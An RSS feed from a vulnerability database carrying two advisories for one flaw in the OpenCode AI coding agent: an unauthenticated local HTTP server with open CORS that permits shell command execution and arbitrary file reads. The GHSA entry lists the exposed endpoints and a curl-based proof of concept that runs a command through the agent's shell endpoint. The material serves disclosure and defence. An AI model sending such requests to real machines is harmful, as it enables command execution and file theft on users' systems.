<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 28 Sep 2026 10:45:00 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-22812 — OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-22812</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; anomalyco opencode&lt;/p&gt;
&lt;p&gt;OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user&amp;#39;s privileges. This vulnerability is fixed in 1.0.216.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; anomalyco opencode&lt;/p&gt;
&lt;p&gt;OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user&amp;#39;s privileges. This vulnerability is fixed in 1.0.216.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-22812</guid>
    </item>
    <item>
      <title>GHSA-vxw4-wv6m-9hhh — OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-vxw4-wv6m-9hhh</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: opencode-ai&lt;/p&gt;
&lt;p&gt;*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user&amp;#39;s privileges.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:&lt;/p&gt;
&lt;p&gt;- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)
- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)
- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)&lt;/p&gt;
&lt;p&gt;The server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.&lt;/p&gt;
&lt;p&gt;No authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;**Local exploitation:**&lt;/p&gt;
&lt;p&gt;```bash
API=&amp;#34;http://127.0.0.1:4096&amp;#34;  # update with actual port
SESSION_ID=$(curl -s -X POST &amp;#34;$API/session&amp;#34; -H &amp;#34;Content-Type: application/json&amp;#34; -d &amp;#39;{}&amp;#39; | jq -r &amp;#39;.id&amp;#39;)
curl -s -X POST &amp;#34;$API/session/$SESSION_ID/shell&amp;#34; -H &amp;#34;Content-Type: application/json&amp;#34; \
  -d &amp;#39;{&amp;#34;agent&amp;#34;: &amp;#34;build&amp;#34;, &amp;#34;command&amp;#34;: &amp;#34;echo PWNED &amp;gt; /tmp/pwned.txt&amp;#34;}&amp;#39;
cat /tmp/pwned.txt  # outputs: PWNED
```&lt;/p&gt;
&lt;p&gt;**Browser-based exploitation:**&lt;/p&gt;
&lt;p&gt;A malicious website can ex…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: opencode-ai&lt;/p&gt;
&lt;p&gt;*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user&amp;#39;s privileges.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:&lt;/p&gt;
&lt;p&gt;- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)
- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)
- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)&lt;/p&gt;
&lt;p&gt;The server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.&lt;/p&gt;
&lt;p&gt;No authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;**Local exploitation:**&lt;/p&gt;
&lt;p&gt;```bash
API=&amp;#34;http://127.0.0.1:4096&amp;#34;  # update with actual port
SESSION_ID=$(curl -s -X POST &amp;#34;$API/session&amp;#34; -H &amp;#34;Content-Type: application/json&amp;#34; -d &amp;#39;{}&amp;#39; | jq -r &amp;#39;.id&amp;#39;)
curl -s -X POST &amp;#34;$API/session/$SESSION_ID/shell&amp;#34; -H &amp;#34;Content-Type: application/json&amp;#34; \
  -d &amp;#39;{&amp;#34;agent&amp;#34;: &amp;#34;build&amp;#34;, &amp;#34;command&amp;#34;: &amp;#34;echo PWNED &amp;gt; /tmp/pwned.txt&amp;#34;}&amp;#39;
cat /tmp/pwned.txt  # outputs: PWNED
```&lt;/p&gt;
&lt;p&gt;**Browser-based exploitation:**&lt;/p&gt;
&lt;p&gt;A malicious website can ex…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-vxw4-wv6m-9hhh</guid>
    </item>
  </channel>
</rss>
